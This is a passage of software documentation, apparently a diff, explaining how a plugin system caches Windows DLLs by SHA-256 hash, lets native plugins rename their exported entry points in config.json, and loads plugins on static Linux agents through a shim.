Prefer this for Go DLLs or other runtimes that rely on the normal Windows loader. | + +The OS loader path reuses the cached DLL when the SHA-256 hash matches, so repeated loads do not rewrite the same plugin. Windows keeps loaded images locked; old cached plugin versions are left for later cleanup. + +### Custom Export Names + +Native plugins may override the exported ABI names in `config.json`: + +```json +{ + "runtime": "native", + "nativeEntrypoints": { + "onLoad": "StartPlugin", + "onEvent": "HandlePluginEvent", + "onUnload": "StopPlugin", + "setCallback": "SetHostCallback", + "getRuntime": "RuntimeName" + } +} +``` + +Omitted fields use the standard names. The signatures must stay ABI-compatible with `PluginOnLoad`, `PluginOnEvent`, `PluginOnUnload`, `PluginSetCallback`, and `PluginGetRuntime`; only the exported symbol names change. Custom names are honored by the Windows loader and direct `dlopen`/`dlsym` paths. The Linux static-agent subprocess shim still expects the standard names. + ## Static Linux Agent Shim Linux agents are compiled as static musl binaries for portability. Static binaries cannot directly call `dlopen`, so Linux native plugin support uses an embedded plugin-host shim.